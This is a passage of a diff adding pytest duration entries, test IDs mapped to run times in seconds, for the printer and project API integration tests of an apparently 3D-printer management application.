"integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_mqtt_failure_returns_500": 0.20622771233320236, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_not_connected": 0.21067039109766483, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_not_found": 0.2118695368990302, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_rejects_a_hotend_that_does_not_exist": 0.1972163412719965, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_unload_forwards_the_slot": 0.1978062465786934, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_unload_mqtt_failure_returns_500": 0.20647165086120367, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_unload_not_connected": 0.20532572083175182, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_unload_not_found": 0.1987317120656371, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_unload_of_an_unloaded_slot_is_a_conflict_not_a_fault": 0.20289506670087576, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_unload_rejects_an_invalid_slot": 0.20249286107718945, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_unload_success": 0.20284575410187244, + "integration/test_printers_api.py::TestAMSRefreshAPI::test_ams_refresh_filament_loaded": 0.20662215165793896, + "integration/test_printers_api.py::TestAMSRefreshAPI::test_ams_refresh_not_connected": 0.21699637733399868, + "integration/test_printers_api.py::TestAMSRefreshAPI::test_ams_refresh_not_found": 0.19413001835346222, + "integration/test_printers_api.py::TestAMSRefreshAPI::test_ams_refresh_success": 0.20756715070456266, + "integration/test_printers_api.py::TestAirductModeAPI::test_cooling_success": 0.19801372848451138, + "integration/test_printers_api.py::TestAirductModeAPI::test_heating_failure_returns_500": 0.2025969075039029, + "integration/test_printers_api.py::TestAirductModeAPI::test_invalid_mode_rejected": 0.2026934465393424, + "integration/test_printers_api.py::TestAirductModeAPI::test_not_connected": 0.2084364416077733, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_extruder_exact_match_preferred_over_fallback": 0.1889801947399974, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_extruder_mismatch_uses_kp_as_fallback": 0.19733298104256392, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_local_kp_match_sends_stored_cali_idx": 0.19862883910536766, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_local_no_kp_uses_live_cali_idx": 0.18554679211229086, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_negative_live_cali_idx_skipped": 0.1879311203956604, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_no_assignment_no_live_cali_idx_no_call": 0.18962896894663572, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_no_assignment_uses_live": 0.19273634441196918, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_regression_bug_a_kp_extruder_attr": 0.19556842371821404, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_spoolman_kp_when_no_local": 0.20048770401626825, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_spoolman_no_kp_uses_live": 0.1874634437263012, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_tag_fallback_finds_spool_when_assignment_missing": 0.1904104258865118, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_tag_fallback_matches_by_tag_uid_when_uuid_zero": 0.1910503450781107, + "integration/test_printers_api.py::TestApplyPaAfterRefresh::test_tag_fallback_skipped_when_zero_sentinels": 0.18125640880316496, + "integration/test_printers_api.py::TestChamberLightAPI::test_chamber_light_failure": 0.2053411900997162, + "integration/test_printers_api.py::TestChamberLightAPI::test_chamber_light_not_connected": 0.2012764634564519, + "integration/test_printers_api.py::TestChamberLightAPI::test_chamber_light_not_found": 0.19823886919766665, + "integration/test_printers_api.py::TestChamberLightAPI::test_chamber_light_off_success": 0.20151427667587996, + "integration/test_printers_api.py::TestChamberLightAPI::test_chamber_light_on_success": 0.20712724793702364, + "integration/test_printers_api.py::TestClearHMSErrorsAPI::test_clear_hms_errors_failure": 0.1921872552484274, + "integration/test_printers_api.py::TestClearHMSErrorsAPI::test_clear_hms_errors_not_connected": 0.19871012214571238, + "integration/test_printers_api.py::TestClearHMSErrorsAPI::test_clear_hms_errors_not_found": 0.20343441609293222, + "integration/test_printers_api.py::TestClearHMSErrorsAPI::test_clear_hms_errors_success": 0.20318640116602182, + "integration/test_printers_api.py::TestClearPlateOnAPoweredDownPrinter::test_clear_plate_still_rejects_when_there_is_nothing_to_clear": 0.20291833952069283, + "integration/test_printers_api.py::TestClearPlateOnAPoweredDownPrinter::test_clear_plate_succeeds_while_disconnected": 0.20116701629012823, + "integration/test_printers_api.py::TestClearPlateOnAPoweredDownPrinter::test_clear_plate_succeeds_with_no_client_state_at_all": 0.1979717267677188, + "integration/test_printers_api.py::TestClearPlateOnAPoweredDownPrinter::test_plate_clear_state_still_reaches_mqtt_without_a_client": 0.19929709192365408, + "integration/test_printers_api.py::TestClearPlateOnAPoweredDownPrinter::test_status_reports_the_gate_without_client_state": 0.20100669655948877, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_builtin_empty_setting_id_is_derived": 0.20204982068389654, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_empty_id_uses_generic": 0.20071004889905453, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_generic_material_fallback_derives_setting_id": 0.19754940643906593, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_not_connected": 0.19915268197655678, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_pfus_preserves_setting_id_pair": 0.20140320900827646, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_pfus_sent_directly": 0.20463634934276342, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_pfus_takes_priority_over_slot": 0.19966033194214106, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_pfus_used_regardless_of_slot_material": 0.19495095685124397, + "integration/test_printers_api.py::TestConfigureAMSSlotAPI::test_configure_with_gf_id_keeps_it": 0.20370234828442335, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_db_error_does_not_fail_endpoint": 0.19812040589749813, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_dual_nozzle_extruder_persists": 0.20484959799796343, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_external_slot_extruder_inversion": 0.21114599145948887, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_negative_cali_idx_no_persist": 0.19849648140370846, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_no_assignment_no_persist": 0.20154122728854418, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_upsert_idempotent": 0.20886677969247103, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_writes_spool_kprofile_when_local_assigned": 0.20580243319272995, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_writes_spoolman_kprofile_when_spoolman_assigned": 0.20386460237205029, + "integration/test_printers_api.py::TestConfigureAmsSlotPersistsKProfile::test_zero_cali_idx_persists": 0.21372247859835625, + "integration/test_printers_api.py::TestCoverPoolHygiene::test_cover_does_not_hold_a_get_db_session": 0.0017015310004353523, + "integration/test_printers_api.py::TestCoverUsesTheRunningPrintsArchive::test_the_archived_3mf_is_preferred_over_ftp": 0.20977116376161575, + "integration/test_printers_api.py::TestCoverUsesTheRunningPrintsArchive::test_the_archived_file_is_never_deleted_by_the_cover_flow": 0.19783230870962143, + "integration/test_printers_api.py::TestCoverWhenFileServiceIsWedged::test_returns_503_naming_the_file_service": 0.20462795440107584, + "integration/test_printers_api.py::TestCoverWhenThePrintIsOnInternalStorage::test_a_print_on_external_storage_still_fans_out": 0.19932636711746454, + "integration/test_printers_api.py::TestCoverWhenThePrintIsOnInternalStorage::test_probes_the_named_file_instead_of_fanning_out": 0.20600605569779873, + "integration/test_printers_api.py::TestCoverWhenThePrintIsOnInternalStorage::test_skips_the_fan_out_and_says_why_with_nothing_to_probe_for": 0.20233754999935627, + "integration/test_printers_api.py::TestExecuteHMSActionAPI::test_execute_hms_action_accepts_16_char_full_code": 0.21783774346113205, + "integration/test_printers_api.py::TestExecuteHMSActionAPI::test_execute_hms_action_dispatcher_failure": 0.20173290837556124, + "integration/test_printers_api.py::TestExecuteHMSActionAPI::test_execute_hms_action_ignore_resume_repauses_within_window_still_acks": 0.21128090377897024, + "integration/test_printers_api.py::TestExecuteHMSActionAPI::test_execute_hms_action_no_printer_ack_returns_502": 0.20678602810949087, + "integration/test_printers_api.py::TestExecuteHMSActionAPI::test_execute_hms_action_not_connected": 0.19514935836195946, + "integration/test_printers_api.py::TestExecuteHMSActionAPI::test_execute_hms_action_not_found": 0.20715720392763615, + "integration/test_printers_api.py::TestExecuteHMSActionAPI::test_execute_hms_action_rejects_malformed_print_error": 0.21877002995461226, + "integration/test_printers_api.py::TestExecuteHMSActionAPI::test_execute_hms_action_success": 0.2143257688730955, + "integration/test_printers_api.py::TestExtruderJogAPI::test_extrude_uses_relative_e_mode": 0.1968187978491187, + "integration/test_printers_api.py::TestExtruderJogAPI::test_not_connected": 0.1961434120312333, + "integration/test_printers_api.py::TestExtruderJogAPI::test_oversize_distance_rejected[-200]": 0.2004948677495122, + "integration/test_printers_api.py::TestExtruderJogAPI::test_oversize_distance_rejected[101]": 0.1974385306239128, + "integration/test_printers_api.py::TestExtruderJogAPI::test_retract_uses_negative_distance": 0.21007651556283236, + "integration/test_printers_api.py::TestExtruderJogAPI::test_zero_distance_rejected": 0.19694696553051472, + "integration/test_printers_api.py::TestPrintControlAPI::test_pause_print_not_connected": 0.19982913974672556, + "integration/test_printers_api.py::TestPrintControlAPI::test_pause_print_not_found": 0.20135460887104273, + "integration/test_printers_api.py::TestPrintControlAPI::test_pause_print_success": 0.195603939704597, + "integration/test_printers_api.py::TestPrintControlAPI::test_resume_print_not_connected": 0.3327921209856868, + "integration/test_printers_api.py::TestPrintControlAPI::test_resume_print_not_found": 0.202242162078619, + "integration/test_printers_api.py::TestPrintControlAPI::test_resume_print_success": 0.21551359631121159, + "integration/test_printers_api.py::TestPrintControlAPI::test_stop_print_not_connected": 0.21596094500273466, + "integration/test_printers_api.py::TestPrintControlAPI::test_stop_print_not_found": 0.20050012785941362, + "integration/test_printers_api.py::TestPrintControlAPI::test_stop_print_success": 0.19305114727467299, + "integration/test_printers_api.py::TestPrintableObjectsReload::test_a_reload_that_the_disk_cannot_answer_still_asks_the_printer": 0.20723842550069094, + "integration/test_printers_api.py::TestPrintableObjectsReload::test_the_archive_on_disk_is_used_before_any_ftp": 0.20388200506567955, + "integration/test_printers_api.py::TestPrinterAccessCodeVisibility::test_admin_jwt_includes_access_code": 2.190304674208164, + "integration/test_printers_api.py::TestPrinterAccessCodeVisibility::test_api_key_excludes_access_code": 5.1660000048577785, + "integration/test_printers_api.py::TestPrinterAccessCodeVisibility::test_auth_disabled_includes_access_code": 0.20284529123455286, + "integration/test_printers_api.py::TestPrinterAccessCodeVisibility::test_operator_jwt_includes_access_code": 3.2291904659941792, + "integration/test_printers_api.py::TestPrinterAccessCodeVisibility::test_viewer_jwt_excludes_access_code": 3.262422530911863, + "integration/test_printers_api.py::TestPrinterDataIntegrity::test_get_current_print_user_not_found": 0.1892642267048359, + "integration/test_printers_api.py::TestPrinterDataIntegrity::test_get_current_print_user_returns_empty_when_no_user": 0.2004515342414379, + "integration/test_printers_api.py::TestPrinterDataIntegrity::test_get_current_print_user_returns_user_info": 0.19910830911248922, + "integration/test_printers_api.py::TestPrinterDataIntegrity::test_printer_stores_all_fields": 0.1975906640291214, + "integration/test_printers_api.py::TestPrinterDataIntegrity::test_printer_update_persists": 0.20310693327337503, + "integration/test_printers_api.py::TestPrinterDataIntegrity::test_refresh_status_not_connected": 0.2017263863235712, + "integration/test_printers_api.py::TestPrinterDataIntegrity::test_refresh_status_not_found": 0.20569843146950006, + "integration/test_printers_api.py::TestPrinterDataIntegrity::test_refresh_status_success": 0.1920296410098672, + "integration/test_printers_api.py::TestPrintersAPI::test_bulk_download_token_rejects_another_printer_without_consuming_it": 0.20054583344608545, + "integration/test_printers_api.py::TestPrintersAPI::test_cover_3mf_scan_fallback_for_per_plate_archive": 0.1980344569310546, + "integration/test_printers_api.py::TestPrintersAPI::test_cover_negative_cache_skips_repeat_ftp_fanout": 0.204639314673841, + "integration/test_printers_api.py::TestPrintersAPI::test_cover_pick_view_404s_rather_than_serving_a_render": 0.21250149980187416, + "integration/test_printers_api.py::TestPrintersAPI::test_cover_pick_view_does_not_borrow_another_plates_mask": 0.20208964589983225, + "integration/test_printers_api.py::TestPrintersAPI::test_cover_pick_view_serves_active_plate_object_mask": 0.2070570755749941, + "integration/test_printers_api.py::TestPrintersAPI::test_cover_uses_dispatched_plate_when_gcode_file_lacks_path": 0.21746537648141384, + "integration/test_printers_api.py::TestPrintersAPI::test_create_printer": 5.079698170535266, + "integration/test_printers_api.py::TestPrintersAPI::test_create_printer_duplicate_serial": 0.1903732754290104, + "integration/test_printers_api.py::TestPrintersAPI::test_create_printer_invalid_hostname": 0.19273868948221207, + "integration/test_printers_api.py::TestPrintersAPI::test_create_printer_rejects_when_mqtt_probe_fails": 0.1916480865329504, + "integration/test_printers_api.py::TestPrintersAPI::test_create_printer_with_fqdn": 2.1010400550439954, + "integration/test_printers_api.py::TestPrintersAPI::test_create_printer_with_hostname": 5.098066887818277, + "integration/test_printers_api.py::TestPrintersAPI::test_delete_nonexistent_printer": 0.19316003937274218, + "integration/test_printers_api.py::TestPrintersAPI::test_delete_printer": 0.21600399632006884, + "integration/test_printers_api.py::TestPrintersAPI::test_delete_printer_removes_scheduled_dryings": 0.21311454009264708, + "integration/test_printers_api.py::TestPrintersAPI::test_download_job_returns_immediately_and_prepared_token_streams_file_response": 0.20818595308810472, + "integration/test_printers_api.py::TestPrintersAPI::test_download_printer_file_non_ascii_filename[\\u0645\\u0631\\u062d\\u0628\\u0627.gcode.3mf-gcode.3mf]": 0.20020893029868603, + "integration/test_printers_api.py::TestPrintersAPI::test_download_printer_file_non_ascii_filename[\\u3053\\u3093\\u306b\\u3061\\u306f.gcode.3mf-gcode.3mf]": 0.19790038466453552, + "integration/test_printers_api.py::TestPrintersAPI::test_download_printer_file_non_ascii_filename[\\u6587\\u4ef6.3mf-3mf]": 0.19900913257151842, + "integration/test_printers_api.py::TestPrintersAPI::test_download_printer_file_non_ascii_filename[\\u9f99\\u6ce1\\u6ce1\\u77f3\\u58a9\\u5b50_p2s_ok.gcode.3mf-p2s_ok.gcode.3mf]": 0.19544560462236404, + "integration/test_printers_api.py::TestPrintersAPI::test_download_printer_file_non_ascii_filename[hello.3mf-hello.3mf]": 0.19617173448204994, + "integration/test_printers_api.py::TestPrintersAPI::test_download_printer_file_non_ascii_filename[r\\xe9sum\\xe9.gcode.3mf-rsum.gcode.3mf]": 0.19812839198857546, + "integration/test_printers_api.py::TestPrintersAPI::test_get_printer": 0.20090132020413876, + "integration/test_printers_api.py::TestPrintersAPI::test_get_printer_not_found": 0.195133987814188, + "integration/test_printers_api.py::TestPrintersAPI::test_get_printer_status": 0.1986506124958396, + "integration/test_printers_api.py::TestPrintersAPI::test_get_printer_status_includes_fila_switch_when_installed": 0.20404020231217146, + "integration/test_printers_api.py::TestPrintersAPI::test_get_printer_status_not_found": 0.2005808176472783, + "integration/test_printers_api.py::TestPrintersAPI::test_get_printer_status_omits_fila_switch_when_not_installed": 0.2142717894166708, + "integration/test_printers_api.py::TestPrintersAPI::test_legacy_bulk_download_accepts_paths_without_sizes": 0.2101216996088624, + "integration/test_printers_api.py::TestPrintersAPI::test_legacy_bulk_download_empty_selection_keeps_400_contract": 0.20118052139878273, + "integration/test_printers_api.py::TestPrintersAPI::test_list_printers_empty": 0.1982179507613182, + "integration/test_printers_api.py::TestPrintersAPI::test_list_printers_with_data": 0.19774544332176447, + "integration/test_printers_api.py::TestPrintersAPI::test_printer_file_routes_enforce_api_key_printer_scope[bearer]": 0.23136198054999113, + "integration/test_printers_api.py::TestPrintersAPI::test_printer_file_routes_enforce_api_key_printer_scope[header]": 0.23110974859446287, + "integration/test_printers_api.py::TestPrintersAPI::test_status_reports_switch_readiness_on_the_first_load": 0.21963060274720192, + "integration/test_printers_api.py::TestPrintersAPI::test_status_reports_which_hotend_holds_which_slot": 0.1998604265972972, + "integration/test_printers_api.py::TestPrintersAPI::test_update_nonexistent_printer": 0.19474351685494184, + "integration/test_printers_api.py::TestPrintersAPI::test_update_printer_active_status": 0.19522451888769865, + "integration/test_printers_api.py::TestPrintersAPI::test_update_printer_auto_archive": 0.2017547097057104, + "integration/test_printers_api.py::TestPrintersAPI::test_update_printer_name": 0.19489433150738478, + "integration/test_printers_api.py::TestSelectExtruderAPI::test_extruder_index_out_of_range_rejected": 0.2009874116629362, + "integration/test_printers_api.py::TestSelectExtruderAPI::test_not_connected": 0.21597301866859198, + "integration/test_printers_api.py::TestSelectExtruderAPI::test_not_found": 0.1967621725052595, + "integration/test_printers_api.py::TestSelectExtruderAPI::test_select_each_extruder[0]": 0.1988048991188407, + "integration/test_printers_api.py::TestSelectExtruderAPI::test_select_each_extruder[1]": 0.2047260468825698, + "integration/test_printers_api.py::TestSetBedTemperatureAPI::test_client_failure_returns_500": 0.6336029404774308, + "integration/test_printers_api.py::TestSetBedTemperatureAPI::test_not_connected": 0.2033684840425849, + "integration/test_printers_api.py::TestSetBedTemperatureAPI::test_not_found": 0.1972368797287345, + "integration/test_printers_api.py::TestSetBedTemperatureAPI::test_success": 0.20920499227941036, + "integration/test_printers_api.py::TestSetBedTemperatureAPI::test_target_out_of_range_rejected": 0.2055719941854477, + "integration/test_printers_api.py::TestSetBedTemperatureAPI::test_target_zero_allowed": 0.19769294653087854, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_ceiling_is_65_not_60": 0.20545958261936903, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_client_failure_returns_500": 0.19892527628690004, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_not_connected": 0.19914865400642157, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_not_found": 0.19933213666081429, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_sensor_only_model_rejected[P2S]": 0.2070075236260891, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_sensor_only_model_rejected[X1C]": 0.2066731583327055, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_sensor_only_model_rejected[X1E]": 0.19863328710198402, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_success_per_heater_model[H2C]": 0.19714718405157328, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_success_per_heater_model[H2DPRO]": 0.19617295637726784, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_success_per_heater_model[H2D]": 0.20644296519458294, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_success_per_heater_model[H2S]": 0.21308883279561996, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_success_per_heater_model[X2D]": 0.19952328596264124, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_target_out_of_range_rejected": 0.20211978163570166, + "integration/test_printers_api.py::TestSetChamberTemperatureAPI::test_target_zero_allowed": 0.19648137409240007, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_aux2_rejected_when_printer_has_no_left_aux_fan": 0.2097047297284007, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_chamber_fan_message_matches_model_label[H2D-Chamber fan]": 0.1994041120633483, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_chamber_fan_message_matches_model_label[P1S-Chamber fan]": 0.19785130210220814, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_chamber_fan_message_matches_model_label[P2S-Exhaust fan]": 0.20702427625656128, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_chamber_fan_message_matches_model_label[X1C-Chamber fan]": 0.1978425644338131, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_chamber_fan_message_matches_model_label[X2D-Exhaust fan]": 0.20735659915953875, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_fan_id_mapping[aux-2]": 0.20508749783039093, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_fan_id_mapping[aux2-10]": 0.20196900889277458, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_fan_id_mapping[chamber-3]": 0.2024413850158453, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_fan_id_mapping[part-1]": 0.20461656339466572, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_invalid_fan_name_rejected": 0.21023937221616507, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_not_connected": 0.19931856077164412, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_other_fans_unaffected_by_the_aux2_gate": 0.2053543347865343, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_pwm_conversion[0-0]": 0.2060162853449583, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_pwm_conversion[100-255]": 0.2071797577664256, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_pwm_conversion[50-128]": 0.2067476762458682, + "integration/test_printers_api.py::TestSetFanSpeedAPI::test_speed_out_of_range_rejected": 0.20473887212574482, + "integration/test_printers_api.py::TestSetNozzleTemperatureAPI::test_client_failure_returns_500": 0.2020579157397151, + "integration/test_printers_api.py::TestSetNozzleTemperatureAPI::test_default_nozzle_index": 0.20695881266146898, + "integration/test_printers_api.py::TestSetNozzleTemperatureAPI::test_dual_nozzle_left": 0.20763267669826746, + "integration/test_printers_api.py::TestSetNozzleTemperatureAPI::test_not_connected": 0.20801096502691507, + "integration/test_printers_api.py::TestSetNozzleTemperatureAPI::test_not_found": 0.20153282303363085, + "integration/test_printers_api.py::TestSetNozzleTemperatureAPI::test_nozzle_index_out_of_range_rejected": 0.20579329691827297, + "integration/test_printers_api.py::TestSetNozzleTemperatureAPI::test_target_out_of_range_rejected": 0.20509483013302088, + "integration/test_printers_api.py::TestSetNozzleTemperatureAPI::test_target_zero_allowed": 0.2100122645497322, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_get_objects_empty": 0.21058142092078924, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_get_objects_not_connected": 0.20359536819159985, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_get_objects_not_found": 0.19640230759978294, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_get_objects_with_data": 0.2356944316998124, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_get_objects_with_positions": 0.20111111272126436, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_skip_objects_empty_list": 0.2074185535311699, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_skip_objects_invalid_id": 0.20291275903582573, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_skip_objects_multiple": 0.19993781205266714, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_skip_objects_not_connected": 0.20668391697108746, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_skip_objects_not_found": 0.19537952914834023, + "integration/test_printers_api.py::TestSkipObjectsAPI::test_skip_objects_success": 0.19622262939810753, + "integration/test_printers_api.py::TestXYJogAPI::test_not_connected": 0.194869764149189, + "integration/test_printers_api.py::TestXYJogAPI::test_oversize_movement_rejected[-300-0]": 0.20604618359357119, + "integration/test_printers_api.py::TestXYJogAPI::test_oversize_movement_rejected[0--250]": 0.20519397407770157, + "integration/test_printers_api.py::TestXYJogAPI::test_oversize_movement_rejected[0-201]": 0.1990736834704876, + "integration/test_printers_api.py::TestXYJogAPI::test_oversize_movement_rejected[201-0]": 0.20043150801211596, + "integration/test_printers_api.py::TestXYJogAPI::test_success_both_axes": 0.2037845030426979, + "integration/test_printers_api.py::TestXYJogAPI::test_success_x_only_emits_relative_gcode": 0.1988004520535469, + "integration/test_printers_api.py::TestXYJogAPI::test_zero_movement_rejected": 0.19949860032647848, + "integration/test_projects_api.py::TestProjectArchivedStatusNotCounted::test_archived_files_not_counted_as_completed": 0.20265366323292255, + "integration/test_projects_api.py::TestProjectArchivedStatusNotCounted::test_archived_files_not_counted_in_project_list": 0.20777507219463587, + "integration/test_projects_api.py::TestProjectArchivedStatusNotCounted::test_only_completed_status_counts": 0.2181971063837409, + "integration/test_projects_api.py::TestProjectArchivesAPI::test_get_project_with_archives": 0.20386529341340065, + "integration/test_projects_api.py::TestProjectArchivesAPI::test_list_archives_in_project_returns_archives_with_creator": 0.2156168892979622, + "integration/test_projects_api.py::TestProjectExportImport::test_export_project": 0.2162202214822173, + "integration/test_projects_api.py::TestProjectExportImport::test_export_project_with_linked_folder": 0.2068907953798771, + "integration/test_projects_api.py::TestProjectExportImport::test_export_zip_contains_files": 0.20775446388870478, + "integration/test_projects_api.py::TestProjectExportImport::test_import_invalid_file_type": 0.20146998390555382, + "integration/test_projects_api.py::TestProjectExportImport::test_import_invalid_json": 0.21250683069229126, + "integration/test_projects_api.py::TestProjectExportImport::test_import_legit_nested_zip_still_works": 0.21340343076735735, + "integration/test_projects_api.py::TestProjectExportImport::test_import_project": 0.19930412713438272, + "integration/test_projects_api.py::TestProjectExportImport::test_import_project_from_json_file": 0.2125502023845911, + "integration/test_projects_api.py::TestProjectExportImport::test_import_project_from_zip_file": 0.22546792402863503, + "integration/test_projects_api.py::TestProjectExportImport::test_import_project_with_linked_folder": 0.20805113948881626, + "integration/test_projects_api.py::TestProjectExportImport::test_import_rejects_absolute_path_in_folder_name": 0.21117803920060396, + "integration/test_projects_api.py::TestProjectExportImport::test_import_rejects_dotdot_in_folder_name": 0.20566650945693254, + "integration/test_projects_api.py::TestProjectExportImport::test_import_rejects_dotdot_in_relative_path": 0.2106988923624158, + "integration/test_projects_api.py::TestProjectExportImport::test_import_zip_missing_project_json": 0.20271302480250597, + "integration/test_projects_api.py::TestProjectFileProgress::test_add_to_queue_inherits_folder_project": 0.21518546156585217, + "integration/test_projects_api.py::TestProjectFileProgress::test_counts_by_library_file_id": 0.2251274548470974, + "integration/test_projects_api.py::TestProjectFileProgress::test_hash_and_filename_fallback": 0.2097140671685338, + "integration/test_projects_api.py::TestProjectFileProgress::test_only_completed_runs_count": 0.21056239679455757, + "integration/test_projects_api.py::TestProjectFileProgress::test_scoped_to_project": 0.2110746782273054, + "integration/test_projects_api.py::TestProjectFileProgress::test_target_sets_roundtrip": 0.22737919446080923, + "integration/test_projects_api.py::TestProjectFileProgress::test_unknown_project_404": 0.20456494390964508, + "integration/test_projects_api.py::TestProjectListEditableFields::test_explicit_null_clears_tags_and_due_date": 0.2076946711167693, + "integration/test_projects_api.py::TestProjectListEditableFields::test_list_carries_the_fields_the_edit_dialog_renders": 0.19810600858181715, + "integration/test_projects_api.py::TestProjectListEditableFields::test_priority_survives_an_edit_that_does_not_touch_it": 0.21347020752727985, + "integration/test_projects_api.py::TestProjectListEditableFields::test_template_list_carries_them_too": 0.2053307518362999, + "integration/test_projects_api.py::TestProjectPartsTracking::test_create_project_with_target_parts_count": 0.20346484426409006, + "integration/test_projects_api.py::TestProjectPartsTracking::test_plates_vs_parts_progress": 0.204757166095078, + "integration/test_projects_api.py::TestProjectPartsTracking::test_project_list_shows_parts_count": 0.21277886256575584, + "integration/test_projects_api.py::TestProjectPartsTracking::test_project_parts_progress_calculation": 0.21326228696852922, + "integration/test_projects_api.py::TestProjectPartsTracking::test_update_project_target_parts_count": 0.2132041985169053, + "integration/test_projects_api.py::TestProjectStatsPerRun::test_mixed_run_outcomes_split_completed_and_failed": 0.21343720704317093, + "integration/test_projects_api.py::TestProjectStatsPerRun::test_orphan_log_entries_do_not_bleed_into_projects": 0.20612995885312557, + "integration/test_projects_api.py::TestProjectStatsPerRun::test_quick_stats_in_list_view_agree_with_per_project_stats": 0.20943640638142824, + "integration/test_projects_api.py::TestProjectStatsPerRun::test_three_reprints_count_as_three_jobs_with_summed_totals": 0.2055131122469902, + "integration/test_projects_api.py::TestProjectUrlAndCoverImage::test_cover_image_get_uses_stream_token_gate": 0.0014392277225852013, + "integration/test_projects_api.py::TestProjectUrlAndCoverImage::test_create_project_accepts_https_url": 0.21826517395675182, + "integration/test_projects_api.py::TestProjectUrlAndCoverImage::test_create_project_rejects_data_url": 0.2036935705691576, + "integration/test_projects_api.py::TestProjectUrlAndCoverImage::test_create_project_rejects_javascript_url": 0.19354110397398472, + "integration/test_projects_api.py::TestProjectUrlAndCoverImage::test_patch_project_clears_url_when_explicitly_null": 0.20794988051056862, + "integration/test_projects_api.py::TestProjectUrlAndCoverImage::test_upload_cover_image_rejects_non_image": 0.20528766885399818, + "integration/test_projects_api.py::TestProjectUrlAndCoverImage::test_upload_cover_image_then_serve_then_delete": 0.22519790660589933, + "integration/test_projects_api.py::TestProjectsAPI::test_create_project": 0.20498599391430616, + "integration/test_projects_api.py::TestProjectsAPI::test_delete_project": 0.20595752634108067, + "integration/test_projects_api.py::TestProjectsAPI::test_delete_project_not_found": 0.19719358067959547, + "integration/test_projects_api.py::TestProjectsAPI::test_get_project": 0.21481064707040787, + "integration/test_projects_api.py::TestProjectsAPI::test_get_project_not_found": 0.19468793366104364, + "integration/test_projects_api.py::TestProjectsAPI::test_list_projects_empty": 0.20803443901240826, + "integration/test_projects_api.py::TestProjectsAPI::test_list_projects_with_data": 0.2177732726559043, + "integration/test_projects_api.py::TestProjectsAPI::test_update_project": 0.20361681934446096, + "integration/test_projects_api.py::TestSoftDeletedArchivesLeaveTheProject::test_a_live_archive_is_untouched_by_all_of_this": 0.2344745947048068, + 